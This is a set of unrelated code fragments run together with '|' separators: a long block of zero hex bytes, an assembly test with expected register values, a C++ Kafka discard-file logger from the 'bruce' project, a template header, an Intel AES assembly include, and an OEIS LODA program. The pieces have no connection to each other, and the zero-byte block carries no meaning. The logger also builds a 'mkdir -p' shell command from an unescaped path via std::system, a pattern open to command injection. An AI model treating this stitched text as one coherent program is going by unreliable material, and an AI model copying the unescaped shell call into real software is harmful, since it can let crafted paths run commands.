00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
lc r4, 0x7fffffff
lc r5, 0x00000101
ges r6, r4, r5
halt
#@expected values
#r4 = 0x7fffffff
#r5 = 0x00000101
#r6 = 0x00000001
#pc = -2147483628
#e0 = 0
#e1 = 0
#e2 = 0
#e3 = 0
|
/* <bruce/discard_file_logger.cc>
----------------------------------------------------------------------------
Copyright 2013-2014 if(we)
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
----------------------------------------------------------------------------
Implements <bruce/discard_file_logger.h>.
*/
#include <bruce/discard_file_logger.h>
#include <algorithm>
#include <array>
#include <cctype>
#include <cerrno>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <limits>
#include <sstream>
#include <stdexcept>
#include <boost/lexical_cast.hpp>
#include <fcntl.h>
#include <poll.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <syslog.h>
#include <unistd.h>
#include <base/dir_iter.h>
#include <base/error_utils.h>
#include <base/gettid.h>
#include <base/no_default_case.h>
#include <bruce/util/msg_util.h>
#include <bruce/util/time_util.h>
#include <third_party/base64/base64.h>
using namespace Base;
using namespace Bruce;
using namespace Bruce::Util;
static std::string ComposeLogEntry(TMsg::TTimestamp timestamp,
const char *event, const char *info, const std::string &topic,
const void *key, size_t key_size, const void *msg, size_t msg_size) {
assert(event);
assert(info);
assert(key || (key_size == 0));
assert(msg || (msg_size == 0));
uint64_t now = GetEpochMilliseconds();
std::string encoded_key;
if (key_size) {
encoded_key = base64_encode(reinterpret_cast<const unsigned char *>(key),
key_size);
}
std::string encoded_msg;
if (msg_size) {
encoded_msg = base64_encode(reinterpret_cast<const unsigned char *>(msg),
msg_size);
}
std::ostringstream os;
os << "now: " << now << " ts: " << timestamp << " event: " << event
<< " info: " << info << " topic: " << topic.size() << "[" << topic
<< "] key: " << encoded_key.size() << "[" << encoded_key << "] msg: "
<< encoded_msg.size() << "[" << encoded_msg << "]\n";
return os.str();
}
static void CreateDir(const char *dir) {
assert(dir);
std::string cmd("/bin/mkdir -p ");
cmd += dir;
if (std::system(cmd.c_str()) < 0) {
syslog(LOG_ERR, "Failed to create discard log directory [%s]", dir);
IfLt0(-1); // this will throw
/* TODO: Modify implementation to keep running, with discard file logging
disabled. */
}
}
TDiscardFileLogger::TDiscardFileLogger()
: MaxMsgPrefixLen(std::numeric_limits<size_t>::max()),
UseOldOutputFormat(false),
Enabled(false),
MaxFileSize(0),
MaxArchiveSize(0) {
}
TDiscardFileLogger::~TDiscardFileLogger() noexcept {
assert(this);
try {
Shutdown();
} catch (const std::exception &x) {
syslog(LOG_ERR, "Caught unexpected exception in TDiscardFileLogger "
"destructor: %s", x.what());
assert(false);
} catch (...) {
syslog(LOG_ERR, "Caught unexpected unknown exception in "
"TDiscardFileLogger destructor");
assert(false);
}
}
void TDiscardFileLogger::Init(const char *log_path, uint64_t max_file_size,
uint64_t max_archive_size, size_t max_msg_prefix_len,
bool use_old_output_format) {
assert(this);
/* Will contain absolute path of directory containing logfile. */
std::string log_dir;
/* Will contain just the log filename (without the absolute path). */
std::string log_filename;
ParseLogPath(log_path, log_dir, log_filename);
/* Absolute path of logfile. */
std::string path(log_path);
if (Enabled) {
throw std::logic_error("Discard file logging already initialized");
}
CreateDir(log_dir.c_str());
MaxMsgPrefixLen = max_msg_prefix_len;
UseOldOutputFormat = use_old_output_format;
/* Since we are executing during server initialization before any threads can
create log entries, we modify our internal state without grabbing 'Mutex'.
*/
LogFd = OpenLogPath(log_path);
if (!LogFd.IsOpen()) {
return;
}
ArchiveCleaner.reset(new TArchiveCleaner(max_archive_size, log_dir.c_str(),
log_filename.c_str()));
ArchiveCleaner->Start();
LogPath = std::move(path);
LogDir = std::move(log_dir);
LogFilename = std::move(log_filename);
MaxFileSize = max_file_size;
MaxArchiveSize = max_archive_size;
Enabled = true;
CheckMaxFileSize(0);
ArchiveCleaner->SendCleanRequest();
}
void TDiscardFileLogger::Shutdown() {
assert(this);
std::lock_guard<std::mutex> lock(Mutex);
DisableLogging();
if (ArchiveCleaner) {
ArchiveCleaner->RequestShutdown();
ArchiveCleaner->Join();
ArchiveCleaner.reset();
}
}
static const char *ReasonToBlurb(TDiscardFileLogger::TDiscardReason reason) {
switch (reason) {
case TDiscardFileLogger::TDiscardReason::Bug:
break;
case TDiscardFileLogger::TDiscardReason::FailedDeliveryAttemptLimit:
return "DELIVERY_ATTEMPT_LIMIT";
case TDiscardFileLogger::TDiscardReason::KafkaErrorAck:
return "KAFKA_ERROR_ACK";
case TDiscardFileLogger::TDiscardReason::ServerShutdown:
return "SERVER_SHUTDOWN";
case TDiscardFileLogger::TDiscardReason::NoAvailablePartitions:
return "NO_AVAILABLE_PARTITIONS";
case TDiscardFileLogger::TDiscardReason::RateLimit:
return "RATE_LIMIT";
case TDiscardFileLogger::TDiscardReason::FailedTopicAutocreate:
return "TOPIC_AUTOCREATE_FAIL";
NO_DEFAULT_CASE;
}
return "BUG";
}
void TDiscardFileLogger::LogDiscard(const TMsg &msg, TDiscardReason reason) {
assert(this);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
std::vector<uint8_t> key_buf;
WriteKey(key_buf, 0, msg);
EnforceMaxPrefixLen(key_buf);
std::vector<uint8_t> value_buf;
WriteValue(value_buf, 0, msg, false, UseOldOutputFormat);
EnforceMaxPrefixLen(value_buf);
const uint8_t *key_buf_begin = key_buf.empty() ? nullptr : &key_buf[0];
const uint8_t *value_buf_begin = value_buf.empty() ? nullptr : &value_buf[0];
WriteToLog(ComposeLogEntry(msg.GetTimestamp(), "DISC", ReasonToBlurb(reason),
msg.GetTopic(), key_buf_begin, key_buf.size(),
value_buf_begin, value_buf.size()));
}
void TDiscardFileLogger::LogDuplicate(const TMsg &msg) {
assert(this);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
std::vector<uint8_t> key_buf;
WriteKey(key_buf, 0, msg);
EnforceMaxPrefixLen(key_buf);
std::vector<uint8_t> value_buf;
WriteValue(value_buf, 0, msg, false, UseOldOutputFormat);
EnforceMaxPrefixLen(value_buf);
const uint8_t *key_buf_begin = key_buf.empty() ? nullptr : &key_buf[0];
const uint8_t *value_buf_begin = value_buf.empty() ? nullptr : &value_buf[0];
WriteToLog(ComposeLogEntry(msg.GetTimestamp(), "DUP", "NONE", msg.GetTopic(),
key_buf_begin, key_buf.size(), value_buf_begin,
value_buf.size()));
}
void TDiscardFileLogger::LogNoMemDiscard(TMsg::TTimestamp timestamp,
const char *topic_begin, const char *topic_end, const void *key_begin,
const void *key_end, const void *value_begin, const void *value_end) {
assert(this);
assert(topic_begin);
assert(topic_end >= topic_begin);
assert(key_begin || (key_end == key_begin));
assert(key_end >= key_begin);
assert(value_begin || (value_end == value_begin));
assert(value_end >= value_begin);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
const std::string topic(topic_begin, topic_end);
size_t key_size = reinterpret_cast<const uint8_t *>(key_end) -
reinterpret_cast<const uint8_t *>(key_begin);
size_t value_size = reinterpret_cast<const uint8_t *>(value_end) -
reinterpret_cast<const uint8_t *>(value_begin);
WriteToLog(ComposeLogEntry(timestamp, "DISC", "NO_MEM", topic, key_begin,
std::min(key_size, MaxMsgPrefixLen), value_begin,
std::min(value_size, MaxMsgPrefixLen)));
}
void TDiscardFileLogger::LogMalformedMsgDiscard(const void *msg_begin,
const void *msg_end) {
assert(this);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
size_t msg_size = reinterpret_cast<const uint8_t *>(msg_end) -
reinterpret_cast<const uint8_t *>(msg_begin);
WriteToLog(ComposeLogEntry(GetEpochMilliseconds(), "DISC", "MALFORMED",
std::string(), nullptr, 0, msg_begin, std::min(msg_size,
MaxMsgPrefixLen)));
}
void TDiscardFileLogger::LogUnsupportedApiKeyDiscard(const void *msg_begin,
const void *msg_end, int api_key) {
assert(this);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
std::ostringstream os;
os << "API_KEY(" << api_key << ")";
std::string info(os.str());
size_t msg_size = reinterpret_cast<const uint8_t *>(msg_end) -
reinterpret_cast<const uint8_t *>(msg_begin);
WriteToLog(ComposeLogEntry(GetEpochMilliseconds(), "DISC", info.c_str(),
std::string(), nullptr, 0, msg_begin,
std::min(msg_size, MaxMsgPrefixLen)));
}
void TDiscardFileLogger::LogUnsupportedMsgVersionDiscard(const void *msg_begin,
const void *msg_end, int version) {
assert(this);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
std::ostringstream os;
os << "VERSION(" << version << ")";
std::string info(os.str());
size_t msg_size = reinterpret_cast<const uint8_t *>(msg_end) -
reinterpret_cast<const uint8_t *>(msg_begin);
WriteToLog(ComposeLogEntry(GetEpochMilliseconds(), "DISC", info.c_str(),
std::string(), nullptr, 0, msg_begin,
std::min(msg_size, MaxMsgPrefixLen)));
}
void TDiscardFileLogger::LogBadTopicDiscard(TMsg::TTimestamp timestamp,
const char *topic_begin, const char *topic_end, const void *key_begin,
const void *key_end, const void *value_begin, const void *value_end) {
assert(this);
assert(topic_begin);
assert(topic_end >= topic_begin);
assert(key_begin || (key_end == key_begin));
assert(key_end >= key_begin);
assert(value_begin || (value_end == value_begin));
assert(value_end >= value_begin);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
const std::string topic(topic_begin, topic_end);
size_t key_size = reinterpret_cast<const uint8_t *>(key_end) -
reinterpret_cast<const uint8_t *>(key_begin);
size_t value_size = reinterpret_cast<const uint8_t *>(value_end) -
reinterpret_cast<const uint8_t *>(value_begin);
WriteToLog(ComposeLogEntry(timestamp, "DISC", "BAD_TOPIC", topic, key_begin,
std::min(key_size, MaxMsgPrefixLen), value_begin,
std::min(value_size, MaxMsgPrefixLen)));
}
void TDiscardFileLogger::LogBadTopicDiscard(const TMsg &msg) {
assert(this);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
std::vector<uint8_t> key_buf;
WriteKey(key_buf, 0, msg);
EnforceMaxPrefixLen(key_buf);
std::vector<uint8_t> value_buf;
WriteValue(value_buf, 0, msg, false, UseOldOutputFormat);
EnforceMaxPrefixLen(value_buf);
const uint8_t *key_buf_begin = key_buf.empty() ? nullptr : &key_buf[0];
const uint8_t *value_buf_begin = value_buf.empty() ? nullptr : &value_buf[0];
WriteToLog(ComposeLogEntry(msg.GetTimestamp(), "DISC", "BAD_TOPIC",
msg.GetTopic(), key_buf_begin, key_buf.size(),
value_buf_begin, value_buf.size()));
}
void TDiscardFileLogger::LogLongMsgDiscard(const TMsg &msg) {
assert(this);
if (!Enabled) {
return; // fast path for case where logging is disabled
}
std::vector<uint8_t> key_buf;
WriteKey(key_buf, 0, msg);
EnforceMaxPrefixLen(key_buf);
std::vector<uint8_t> value_buf;
WriteValue(value_buf, 0, msg, false, UseOldOutputFormat);
EnforceMaxPrefixLen(value_buf);
const uint8_t *key_buf_begin = key_buf.empty() ? nullptr : &key_buf[0];
const uint8_t *value_buf_begin = value_buf.empty() ? nullptr : &value_buf[0];
WriteToLog(ComposeLogEntry(msg.GetTimestamp(), "DISC", "LONG_MSG",
msg.GetTopic(), key_buf_begin, key_buf.size(),
value_buf_begin, value_buf.size()));
}
TDiscardFileLogger::TArchiveCleaner::TArchiveCleaner(uint64_t max_archive_size,
const char *log_dir, const char *log_filename)
: MaxArchiveSize(max_archive_size),
LogDir(log_dir),
LogFilename(log_filename) {
}
TDiscardFileLogger::TArchiveCleaner::~TArchiveCleaner() noexcept {
/* This will shut down the thread if something unexpected happens. */
ShutdownOnDestroy();
}
void TDiscardFileLogger::TArchiveCleaner::Run() {
assert(this);
int tid = static_cast<int>(Gettid());
syslog(LOG_INFO, "Discard log cleaner thread %d started", tid);
bool caught_fatal_exception = false;
try {
DoRun();
} catch (const std::exception &x) {
caught_fatal_exception = true;
syslog(LOG_ERR, "Fatal error in discard log cleaner thread %d: %s", tid,
x.what());
} catch (...) {
caught_fatal_exception = true;
syslog(LOG_ERR, "Fatal unknown error in discard log cleaner thread %d",
tid);
}
syslog(LOG_INFO, "Discard log cleaner thread %d finished %s", tid,
caught_fatal_exception ? "on error" : "normally");
}
struct TOldLogFileInfo {
std::string AbsolutePath;
/* File size in bytes. */
uint64_t Size;
/* Epoch milliseconds value obtained from filename. */
uint64_t EpochMilliseconds;
TOldLogFileInfo() = default;
TOldLogFileInfo(std::string &&absolute_path, uint64_t size,
uint64_t epoch_ms)
: AbsolutePath(std::move(absolute_path)),
Size(size),
EpochMilliseconds(epoch_ms) {
}
TOldLogFileInfo(const TOldLogFileInfo &) = default;
TOldLogFileInfo(TOldLogFileInfo &&that)
: AbsolutePath(std::move(that.AbsolutePath)),
Size(that.Size),
EpochMilliseconds(that.EpochMilliseconds) {
}
TOldLogFileInfo& operator=(const TOldLogFileInfo &) = default;
TOldLogFileInfo& operator=(TOldLogFileInfo &&that) {
assert(this);
if (this != &that) {
AbsolutePath = std::move(that.AbsolutePath);
Size = that.Size;
EpochMilliseconds = that.EpochMilliseconds;
}
return *this;
}
}; // TOldLogFileInfo
static std::vector<TOldLogFileInfo>
GetOldLogFileSizes(const char *log_dir, const char *log_filename) {
assert(log_dir);
std::vector<TOldLogFileInfo> result;
size_t name_len = std::strlen(log_filename);
std::string file_path;
for (TDirIter iter(log_dir); iter; ++iter) {
if (iter.GetKind() != TDirIter::File) {
continue;
}
const char *name = iter.GetName();
size_t i = 0;
for (i = 0; (i < name_len) && (name[i] == log_filename[i]); ++i);
if ((i < name_len) || (name[i] != '.')) {
/* If 'log_filename' is "foo", then we are looking for files named
"foo.N", where N is a string of digits interpreted as an integer
number of milliseconds since the epoch. In this case, we found a
nonmatching file because either ('log_filename' is not a prefix of
'name') or ('log_filename' is a prefix of name but the next character
of 'name' is not '.'). */
continue;
}
if (name[++i] == '\0') {
/* We were expecting a string of digits after the '.', but there are no
more characters. */
continue;
}
size_t digits_start = i;
bool all_digits = true;
for (; name[i]; ++i) {
if (!std::isdigit(name[i])) {
all_digits = false;
break;
}
}
if (!all_digits) {
/* This filename contains a nondigit character after the '.'. */
continue;
}
/* 'name[i]' shouldn't contain any leading zeros, but just in case someone
messed with the filenames, we will skip leading zeros. A leading zero
would be bad because it would cause the digit string to be interpreted
as an octal value when converted to an integer. */
for (i = digits_start; name[i] == '0'; ++i);
/* Initializing to 0 handles the case where the digit string is either a
single zero or a longer string consisting only of zeroes. */
uint64_t epoch_ms = 0;
if (name[i]) {
/* 'name' contains at least one nonzero digit. Convert the digit string
(minus any leading zeroes) to an integer value. */
try {
epoch_ms = boost::lexical_cast<uint64_t>(&name[i]);
} catch (const boost::bad_lexical_cast &) {
syslog(LOG_WARNING, "Failed to extract timestamp from apparently "
"valid old discard logfile name %s", name);
continue;
}
}
file_path = log_dir;
file_path += "/";
file_path += name;
struct stat stat_buf;
int ret = stat(file_path.c_str(), &stat_buf);
if (ret < 0) {
if (errno != ENOENT) {
char buf[256];
Strerror(errno, buf, sizeof(buf));
syslog(LOG_WARNING, "Failed to stat() old discard logfile %s: %s",
file_path.c_str(), buf);
}
continue;
}
if (!S_ISREG(stat_buf.st_mode)) {
/* It's not a regular file, so skip it. */
continue;
}
/* We found a file whose name conforms to our old logfile naming scheme, so
append it to the result vector. */
result.push_back(TOldLogFileInfo(std::move(file_path), stat_buf.st_size,
epoch_ms));
}
return std::move(result);
}
bool TDiscardFileLogger::TArchiveCleaner::HandleCleanRequest() {
assert(this);
std::vector<TOldLogFileInfo> old_log_files;
try {
old_log_files = GetOldLogFileSizes(LogDir.c_str(), LogFilename.c_str());
} catch (const std::system_error &x) {
syslog(LOG_WARNING, "Discard log cleaner thread got fatal error while "
"examining log directory: %s", x.what());
return false;
}
uint64_t total_size = 0;
for (const TOldLogFileInfo &info : old_log_files) {
total_size += info.Size;
}
if (total_size <= MaxArchiveSize) {
return true;
}
/* Sort old logfiles from oldest to newest, according to the timestamp values
extracted from their names. */
std::sort(old_log_files.begin(), old_log_files.end(),
[](const TOldLogFileInfo &x, const TOldLogFileInfo &y) {
return x.EpochMilliseconds < y.EpochMilliseconds;
});
/* Delete old logfiles, from oldest to newest, until total size limit is no
longer violated. */
for (size_t i = 0; i < old_log_files.size(); ++i) {
const TOldLogFileInfo &info = old_log_files[i];
if (unlink(info.AbsolutePath.c_str()) && (errno != ENOENT)) {
char buf[256];
Strerror(errno, buf, sizeof(buf));
syslog(LOG_WARNING, "Failed to unlink old discard logfile %s: %s",
info.AbsolutePath.c_str(), buf);
} else {
total_size -= info.Size;
if (total_size <= MaxArchiveSize) {
return true;
}
}
}
assert(total_size > MaxArchiveSize);
syslog(LOG_WARNING, "Discard log cleaner failed to delete old logfiles in "
"directory %s", LogDir.c_str());
return false;
}
void TDiscardFileLogger::TArchiveCleaner::DoRun() {
assert(this);
std::array<struct pollfd, 2> events;
struct pollfd &shutdown_request_event = events[0];
struct pollfd &clean_request_event = events[1];
shutdown_request_event.fd = GetShutdownRequestFd();
shutdown_request_event.events = POLLIN;
clean_request_event.fd = CleanRequestSem.GetFd();
clean_request_event.events = POLLIN;
for (; ; ) {
for (auto &item : events) {
item.revents = 0;
}
int ret = IfLt0(poll(&events[0], events.size(), -1));
assert(ret > 0);
if (shutdown_request_event.revents) {
syslog(LOG_INFO, "Discard log cleaner thread got shutdown request");
break;
}
assert(clean_request_event.revents);
syslog(LOG_INFO,
"Discard log cleaner thread start handling clean request");
CleanRequestSem.Pop();
if (!HandleCleanRequest()) {
syslog(LOG_WARNING, "Discard log cleaner thread shutting down due to "
"fatal error handling clean request");
break;
}
syslog(LOG_INFO,
"Discard log cleaner thread finish handling clean request");
}
}
void TDiscardFileLogger::ParseLogPath(const char *log_path,
std::string &log_dir, std::string &log_filename) {
size_t len = std::strlen(log_path);
if (len == 0) {
THROW_ERROR(TInvalidDiscardLogPath);
}
if (log_path[0] != '/') {
THROW_ERROR(TDiscardLogPathMustBeAbsolute);
}
/* By standard UNIX convention, a path with a trailing '/' is interpreted
specifically as a directory. Since the log path specifies a regular file,
we treat this case as an error. */
if (log_path[len - 1] == '/') {
THROW_ERROR(TDiscardLogPathIsDir);
}
/* Below is a partial reimplementation of the dirname() library function.
We avoid dirname() because it's not guaranteed to be thread safe. */
size_t last_slash = len - 1;
/* On loop termination, 'last_slash' is the index of the last '/' character
in 'log_path'. The loop is guaranteed to terminate because we already
verified that (log_path[0] == '/'). */
for (; log_path[last_slash] != '/'; --last_slash);
size_t dir_last_char = last_slash;
/* On loop termination, 'dir_last_char' will either be the index of the last
nonslash character preceding log_path[last_slash], or 0 if no such
nonslash character exists. In either case, the prefix of 'log_path' whose
last character is at index 'dir_last_char' specifies an absolute path for
the directory containing the file given by 'log_path'. This loop is
necessary because by convention, adjacent '/' characters in a pathname are
coalesced. For instance, '/foo/bar' and '/foo//bar' specify the same
path. */
for (; dir_last_char && (log_path[dir_last_char] == '/'); --dir_last_char);
/* Assign absolute path of directory containing logfile. */
log_dir.assign(log_path, dir_last_char + 1);
/* Assign log filename (everything after the last '/' character). */
size_t filename_prefix_len = last_slash + 1;
log_filename.assign(&log_path[filename_prefix_len],
len - filename_prefix_len);
}
const uint8_t *TDiscardFileLogger::EnforceMaxPrefixLen(const void *msg_begin,
const void *msg_end) {
assert(this);
const uint8_t *p1 = reinterpret_cast<const uint8_t *>(msg_begin);
const uint8_t *p2 = reinterpret_cast<const uint8_t *>(msg_end);
assert(p2 >= p1);
size_t msg_size = p2 - p1;
return p1 + std::min(msg_size, MaxMsgPrefixLen);
}
void TDiscardFileLogger::EnforceMaxPrefixLen(std::vector<uint8_t> &msg) {
assert(this);
if (msg.size() > MaxMsgPrefixLen) {
msg.resize(MaxMsgPrefixLen);
}
}
TFd TDiscardFileLogger::OpenLogPath(const char *log_path) {
assert(log_path);
TFd fd = open(log_path, O_CREAT | O_APPEND | O_WRONLY,
S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);
if (!fd.IsOpen()) {
char buf[256];
Strerror(errno, buf, sizeof(buf));
syslog(LOG_WARNING, "Disabling discard logfile mechanism due to failure "
"to open discard logfile %s for append: %s", log_path, buf);
DisableLogging();
}
return std::move(fd);
}
void TDiscardFileLogger::DisableLogging() {
assert(this);
Enabled = false;
LogFd.Reset();
}
/* See if writing an entry of size 'next_entry_size' in bytes would cause the
logfile size to exceed the limit. If so, rename the logfile, create a new
one in its place, and return true. Otherwise return false. */
bool TDiscardFileLogger::CheckMaxFileSize(uint64_t next_entry_size) {
assert(this);
assert(Enabled);
assert(ArchiveCleaner);
assert(LogFd.IsOpen());
struct stat stat_buf;
IfLt0(fstat(LogFd, &stat_buf));
if (!S_ISREG(stat_buf.st_mode)) {
syslog(LOG_WARNING, "Disabling discard file logging because logfile is "
"not a regular file: mode is 0x%lx",
static_cast<unsigned long>(stat_buf.st_mode));
DisableLogging();
return false;
}
if ((static_cast<uint64_t>(stat_buf.st_size) <= MaxFileSize) &&
((MaxFileSize - stat_buf.st_size) >= next_entry_size)) {
return false;
}
uint64_t epoch_ms = GetEpochMilliseconds();
std::string rename_path(LogPath);
rename_path += ".";
rename_path += boost::lexical_cast<std::string>(epoch_ms);
LogFd.Reset();
int ret = rename(LogPath.c_str(), rename_path.c_str());
if (ret < 0) {
char buf[256];
Strerror(errno, buf, sizeof(buf));
syslog(LOG_WARNING, "Disabling discard file logging on failure to rename "
"logfile: %s", buf);
DisableLogging();
return false;
}
LogFd = OpenLogPath(LogPath.c_str());
return LogFd.IsOpen();
}
void TDiscardFileLogger::WriteToLog(const std::string &log_entry) {
assert(this);
if (log_entry.empty()) {
return;
}
std::lock_guard<std::mutex> lock(Mutex);
/* No other thread can change 'Enabled' while we hold 'Mutex'. Even if we
just checked 'Enabled' before grabbing 'Mutex', test it again in case it
changed. */
if (!Enabled) {
return;
}
assert(LogFd.IsOpen());
assert(ArchiveCleaner);
if (CheckMaxFileSize(log_entry.size())) {
if (ArchiveCleaner->GetShutdownWaitFd().IsReadable()) {
syslog(LOG_WARNING, "Disabling discard file logging because discard log "
"cleaner thread shut down unexpectedly");
DisableLogging();
return;
}
ArchiveCleaner->SendCleanRequest();
}
ssize_t ret = IfLt0(write(LogFd, log_entry.data(), log_entry.size()));
if (static_cast<size_t>(ret) < log_entry.size()) {
syslog(LOG_ERR, "write() to discard logfile returned short count: "
"expected %lu actual %lu",
static_cast<unsigned long>(log_entry.size()),
static_cast<unsigned long>(ret));
}
}
|
// Copyright (C) 2011-2020 Roki. Distributed under the MIT License
#ifndef INCLUDED_SROOK_TMPL_VT_SIZE_HPP
#define INCLUDED_SROOK_TMPL_VT_SIZE_HPP
#include <srook/tmpl/vt/detail/config.hpp>
SROOK_NESTED_NAMESPACE(srook, tmpl, vt) {
SROOK_INLINE_NAMESPACE(v1)
template <class...>
struct size;
template <>
struct size<> : integral_constant<std::size_t, 0> {};
template <class T, class... Ts>
struct size<T, Ts...> : public detail::Size<T, Ts...> {};
#if SROOK_CPP_VARIABLE_TEMPLATES
template <class... Ts>
SROOK_CONSTEXPR int size_v = size<Ts...>::value;
#endif
SROOK_INLINE_NAMESPACE_END
} SROOK_NESTED_NAMESPACE_END(vt, tmpl, srook)
#endif
|
;;
;; Copyright (c) 2019-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%define AES_CBC_ENC_X16 aes_cbc_enc_256_vaes_avx512
%define FLUSH_JOB_AES_ENC flush_job_aes256_enc_vaes_avx512
%define NUM_KEYS 15
%include "avx512/mb_mgr_aes_flush_avx512.asm"
|
; A200815: Number of iterations of k -> d(k) until n reaches an odd prime.
; 0,1,0,2,0,2,1,2,0,3,0,2,2,1,0,3,0,3,2,2,0,3,1,2,2,3,0,3,0,3,2,2,2,2,0,2,2,3,0,3,0,3,3,2,0,3,1,3,2,3,0,3,2,3,2,2,0,4,0,2,3,1,2,3,0,3,2,3,0,4,0,2,3,3,2,3,0,3,1,2,0,4,2,2,2,3,0,4,2,3,2,2,2,4,0,3,3,2,0,3
add $0,2
lpb $0
seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
sub $0,1
add $1,14
lpe
div $1,15
mov $0,$1
|
